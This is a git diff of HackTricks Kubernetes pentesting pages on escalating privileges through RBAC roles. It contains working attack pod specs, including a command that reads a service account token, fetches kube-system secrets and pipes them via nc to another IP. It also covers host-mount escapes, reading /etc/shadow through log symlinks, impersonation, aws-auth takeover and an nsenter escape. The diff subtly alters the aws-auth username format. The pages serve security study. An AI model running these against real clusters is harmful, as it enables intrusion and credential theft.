-* Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
-* A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
+- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
+- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
+- Be able to **read secrets** as the SAs tokens are stored as secrets
+- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
+- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
 
 ### Access Any Resource or Verb (Wildcard)
 
@@ -78,10 +65,14 @@ metadata:
   namespace: kube-system
 spec:
   containers:
-  - name: alpine
-    image: alpine
-    command: ["/bin/sh"]
-    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
+    - name: alpine
+      image: alpine
+      command: ["/bin/sh"]
+      args:
+        [
+          "-c",
+          'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
+        ]
   serviceAccountName: bootstrap-signer
   automountServiceAccountToken: true
   hostNetwork: true
@@ -91,13 +82,12 @@ spec:
 
 The following indicates all the privileges a container can have:
 
-* **Privileged access** (disabling protections and setting capabilities)
-* **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
-* **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
-* **Mount hosts / inside the container**
+- **Privileged access** (disabling protections and setting capabilities)
+- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
+- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
+- **Mount hosts / inside the container**
 
-{% code title="super_privs.yaml" %}
-```yaml
+```yaml:super_privs.yaml
 apiVersion: v1
 kind: Pod
 metadata:
@@ -108,31 +98,30 @@ spec:
   # Uncomment and specify a specific node you want to debug
   # nodeName: <insert-node-name-here>
   containers:
-  - image: ubuntu
-    command:
-      - "sleep"
-      - "3600" # adjust this as needed -- use only as long as you need
-    imagePullPolicy: IfNotPresent
-    name: ubuntu
-    securityContext:
-      allowPrivilegeEscalation: true
-      privileged: true
-      #capabilities:
-      #  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
-      runAsUser: 0 # run as root (or any other user)
-    volumeMounts:
-    - mountPath: /host
-      name: host-volume
+    - image: ubuntu
+      command:
+        - "sleep"
+        - "3600" # adjust this as needed -- use only as long as you need
+      imagePullPolicy: IfNotPresent
+      name: ubuntu
+      securityContext:
+        allowPrivilegeEscalation: true
+        privileged: true
+        #capabilities:
+        #  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
+        runAsUser: 0 # run as root (or any other user)
+      volumeMounts:
+        - mountPath: /host
+          name: host-volume
   restartPolicy: Never # we want to be intentional about running this pod
   hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
   hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
   hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
   volumes:
-  - name: host-volume
-    hostPath:
-      path: /
+    - name: host-volume
+      hostPath:
+        path: /
 ```
-{% endcode %}
 
 Create the pod with:
 
@@ -152,12 +141,12 @@ Now that you can escape to the node check post-exploitation techniques in:
 
 You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
 
-* **Privileged + hostPID**
-* **Privileged only**
-* **hostPath**
-* **hostPID**
-* **hostNetwork**
-* **hostIPC**
+- **Privileged + hostPID**
+- **Privileged only**
+- **hostPath**
+- **hostPID**
+- **hostNetwork**
+- **hostIPC**
 
 _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
 
@@ -168,9 +157,9 @@ Moreover, if you can create a **pod with the host network namespace** you can **
 
 For more information check:
 
-{% content-ref url="pod-escape-privileges.md" %}
-[pod-escape-privileges.md](pod-escape-privileges.md)
-{% endcontent-ref %}
+{{#ref}}
+pod-escape-privileges.md
+{{#endref}}
 
 ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
 
@@ -197,17 +186,21 @@ spec:
       automountServiceAccountToken: true
       hostNetwork: true
       containers:
-      - name: alpine
-        image: alpine
-        command: ["/bin/sh"]
-        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
-        volumeMounts:
-        - mountPath: /root
-          name: mount-node-root
+        - name: alpine
+          image: alpine
+          command: ["/bin/sh"]
+          args:
+            [
+              "-c",
+              'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
+            ]
+          volumeMounts:
+            - mountPath: /root
+              name: mount-node-root
       volumes:
-      - name: mount-node-root
-        hostPath:
-          path: /
+        - name: mount-node-root
+          hostPath:
+            path: /
 ```
 
 ### **Pods Exec**
@@ -236,7 +229,7 @@ The Kubelet service exposes the `/logs/` endpoint which is just basically **expo
 
 Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
 
-* Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
+- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
 
 ```bash
 kubectl logs escaper
@@ -246,7 +239,7 @@ failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\
 # Keep incrementing tail to exfiltrate the whole file
 ```
 
-* If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
+- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
 
 ```bash
 curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
@@ -286,46 +279,46 @@ Which was meant to prevent escapes like the previous ones by, instead of using a
 apiVersion: v1
 kind: PersistentVolume
 metadata:
-    name: task-pv-volume-vol
-    labels:
-      type: local
+  name: task-pv-volume-vol
+  labels:
+    type: local
 spec:
-    storageClassName: manual
-    capacity:
-      storage: 10Gi
-    accessModes:
-      - ReadWriteOnce
-    hostPath:
-      path: "/var/log"
+  storageClassName: manual
+  capacity:
+    storage: 10Gi
+  accessModes:
+    - ReadWriteOnce
+  hostPath:
+    path: "/var/log"
 ---
 apiVersion: v1
 kind: PersistentVolumeClaim
 metadata:
-    name: task-pv-claim-vol
+  name: task-pv-claim-vol
 spec:
-    storageClassName: manual
-    accessModes:
-      - ReadWriteOnce
-    resources:
-      requests:
-        storage: 3Gi
+  storageClassName: manual
+  accessModes:
+    - ReadWriteOnce
+  resources:
+    requests:
+      storage: 3Gi
 ---
 apiVersion: v1
 kind: Pod
 metadata:
-    name: task-pv-pod
+  name: task-pv-pod
 spec:
-    volumes:
-      - name: task-pv-storage-vol
-        persistentVolumeClaim:
-          claimName: task-pv-claim-vol
-    containers:
-      - name: task-pv-container
-        image: ubuntu:latest
-        command: [ "sh", "-c", "sleep 1h" ]
-        volumeMounts:
-          - mountPath: "/hostlogs"
-            name: task-pv-storage-vol
+  volumes:
+    - name: task-pv-storage-vol
+      persistentVolumeClaim:
+        claimName: task-pv-claim-vol
+  containers:
+    - name: task-pv-container
+      image: ubuntu:latest
+      command: ["sh", "-c", "sleep 1h"]
+      volumeMounts:
+        - mountPath: "/hostlogs"
+          name: task-pv-storage-vol
 ```
 
 ### **Impersonating privileged accounts**
@@ -343,7 +336,7 @@ Or use the REST API:
 
 ```bash
 curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
--H "Impersonate-Group: system:masters"\ 
+-H "Impersonate-Group: system:masters"\
 -H "Impersonate-User: null" \
 -H "Accept: application/json" \
 https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
@@ -377,29 +370,29 @@ kind: ClusterRole
 metadata:
   name: csr-approver
 rules:
-- apiGroups:
-  - certificates.k8s.io
-  resources:
-  - certificatesigningrequests
-  verbs:
-  - get
-  - list
-  - watch
-  - create
-- apiGroups:
-  - certificates.k8s.io
-  resources:
-  - certificatesigningrequests/approval
-  verbs:
-  - update
-- apiGroups:
-  - certificates.k8s.io
-  resources:
-  - signers
-  resourceNames:
-  - example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
-  verbs:
-  - approve
+  - apiGroups:
+      - certificates.k8s.io
+    resources:
+      - certificatesigningrequests
+    verbs:
+      - get
+      - list
+      - watch
+      - create
+  - apiGroups:
+      - certificates.k8s.io
+    resources:
+      - certificatesigningrequests/approval
+    verbs:
+      - update
+  - apiGroups:
+      - certificates.k8s.io
+    resources:
+      - signers
+    resourceNames:
+      - example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
+    verbs:
+      - approve
 ```
 
 So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
@@ -418,7 +411,6 @@ The way to bypass this is just to **create a node credentials for the node name
 Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap.\
 The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created:
 
-{% code overflow="wrap" %}
 ```bash
 # Check if config map exists
 get configmap aws-auth -n kube-system -o yaml
@@ -432,7 +424,7 @@ metadata:
 data:
   mapRoles: |
     - rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
-      username: system:node:{{EC2PrivateDNSName}}
+      username: system:node{{EC2PrivateDNSName}}
       groups:
         - system:masters
 
@@ -448,7 +440,7 @@ kubectl edit -n kube-system configmap/aws-auth
 data:
   mapRoles: |
     - rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
-      username: system:node:{{EC2PrivateDNSName}}
+      username: system:node{{EC2PrivateDNSName}}
       groups:
         - system:masters
   mapUsers: |
@@ -457,29 +449,26 @@ data:
       groups:
         - system:masters
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
-
-However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
-To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
-{% endhint %}
+> [!WARNING]
+> You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
+>
+> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
+> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
 
 ### Escalating in GKE
 
 There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
 
-{% hint style="warning" %}
-When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
-If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
-{% endhint %}
+> [!WARNING]
+> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
+> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
 
 Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
 
-{% content-ref url="../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md" %}
-[gcp-container-privesc.md](../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
+{{#endref}}
 
 The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
 
@@ -506,9 +495,9 @@ Then he can update/create new roles, clusterroles with better permissions than t
 
 Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
 
-{% content-ref url="../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md" %}
-[kubelet-authentication-and-authorization.md](../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md)
-{% endcontent-ref %}
+{{#ref}}
+../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
+{{#endref}}
 
 You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/#kubelet-rce).
 
@@ -516,7 +505,6 @@ You have an example of how to get [**RCE talking authorized to a Kubelet API her
 
 Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
 
-{% code overflow="wrap" %}
 ```bash
 patch_node_capacity(){
     curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -527,7 +515,6 @@ while true; do patch_node_capacity <id_other_node>; done &
 
 kubectl delete pods -n kube-system <privileged_pod_name>
 ```
-{% endcode %}
 
 ### Services status (CVE-2020-8554)
 
@@ -545,15 +532,13 @@ This system ensures that **users cannot elevate their privileges by modifying ro
 
 The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
 
-{% hint style="warning" %}
-There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
-{% endhint %}
+> [!WARNING]
+> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
 
 ### **Get & Patch RoleBindings/ClusterRoleBindings**
 
-{% hint style="danger" %}
-**Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
-{% endhint %}
+> [!CAUTION]
+> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
 
 The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
 
@@ -589,15 +574,20 @@ Edit your .yaml and add the uncomment lines:
 #  containers:
 #  - name: sec-ctx-demo
 #    image: busybox
-    command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
-    securityContext:
-      capabilities:
-        add: ["NET_ADMIN"]
- #   volumeMounts:
- #   - name: sec-ctx-vol
- #     mountPath: /data/demo
- #   securityContext:
- #     allowPrivilegeEscalation: true
+command:
+  [
+    "sh",
+    "-c",
+    "apt update && apt install iptables -y && iptables -L && sleep 1h",
+  ]
+securityContext:
+  capabilities:
+    add: ["NET_ADMIN"]
+#   volumeMounts:
+#   - name: sec-ctx-vol
+#     mountPath: /data/demo
+#   securityContext:
+#     allowPrivilegeEscalation: true
 ```
 
 See the logs of the proxy:
@@ -630,7 +620,7 @@ kubectl get mutatingwebhookconfigurations
 kubectl get deploy,svc -n webhook-demo
 ```
 
-![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format\&format=webp)
+![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
 
 Then deploy a new pod:
 
@@ -646,7 +636,7 @@ kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
 kubectl describe po nginx | grep "Image: "
 ```
 
-![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format\&format=webp)
+![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
 
 As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!?
 
@@ -666,50 +656,43 @@ The above snippet replaces the first container image in every pod with `rewantht
 
 ## OPA Gatekeeper bypass
 
-{% content-ref url="../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md" %}
-[kubernetes-opa-gatekeeper-bypass.md](../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md)
-{% endcontent-ref %}
+{{#ref}}
+../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
+{{#endref}}
 
 ## Best Practices
 
 ### **Disabling Automount of Service Account Tokens**
 
-* **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
-* **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
+- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
+- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
 
 ### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
 
-* **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
+- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
 
 ### **Namespace-Specific Roles Over Cluster-Wide Roles**
 
-* **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
+- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
 
 ### **Use automated tools**
 
-{% embed url="https://github.com/cyberark/KubiScan" %}
+{{#ref}}
+https://github.com/cyberark/KubiScan
+{{#endref}}
 
-{% embed url="https://github.com/aquasecurity/kube-hunter" %}
+{{#ref}}
+https://github.com/aquasecurity/kube-hunter
+{{#endref}}
 
-{% embed url="https://github.com/aquasecurity/kube-bench" %}
+{{#ref}}
+https://github.com/aquasecurity/kube-bench
+{{#endref}}
 
 ## **References**
 
-* [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
-* [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
-* [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
+- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
+- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
+- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
similarity index 80%
rename from pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
rename to src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
index c32fbcd56..30b1a245e 100644
--- a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
@@ -1,19 +1,6 @@
 # Kubernetes Roles Abuse Lab
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 You can run these labs just inside **minikube**.
 
@@ -21,18 +8,17 @@ You can run these labs just inside **minikube**.
 
 We are going to create:
 
-* A **Service account "test-sa"** with a cluster privilege to **read secrets**
-  * A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
-* **Permissions** to list and **create** pods to a user called "**Test**" will be given
-  * A Role "test-r" and RoleBinding "test-rb" will be created
-* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
-* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
-  * This is the way yo show the user could escalate privileges this way
+- A **Service account "test-sa"** with a cluster privilege to **read secrets**
+  - A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
+- **Permissions** to list and **create** pods to a user called "**Test**" will be given
+  - A Role "test-r" and RoleBinding "test-rb" will be created
+- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
+- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
+  - This is the way yo show the user could escalate privileges this way
 
-{% hint style="info" %}
-To create the scenario an admin account is used.\
-Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
-{% endhint %}
+> [!NOTE]
+> To create the scenario an admin account is used.\
+> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
 
 ```bash
 # Create Service Account test-sa
@@ -349,11 +335,11 @@ kubectl delete serviceaccount test-sa
 
 **Doesn't work:**
 
-* **Create a new RoleBinding** just with the verb **create**
-* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
-  * You cannot do this to assign the role to yourself or to a different SA
-* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
-  * You cannot do this to assign the role to yourself or to a different SA
+- **Create a new RoleBinding** just with the verb **create**
+- **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
+  - You cannot do this to assign the role to yourself or to a different SA
+- **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
+  - You cannot do this to assign the role to yourself or to a different SA
 
 ```bash
 echo 'apiVersion: v1
@@ -623,17 +609,4 @@ kubectl delete role test-r2
 kubectl delete serviceaccount test-sa
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
new file mode 100644
index 000000000..c9e6f8470
--- /dev/null
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
@@ -0,0 +1,49 @@
+# Pod Escape Privileges
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Privileged and hostPID
+
+With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
+Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
+
+Just executing something like the following will allow you to escape from the pod:
+
+```bash
+nsenter --target 1 --mount --uts --ipc --net --pid -- bash
+```
+
+Configuration example:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+  name: priv-and-hostpid-exec-pod
+  labels:
+    app: pentest
+spec:
+  hostPID: true
+  containers:
+    - name: priv-and-hostpid-pod
+      image: ubuntu
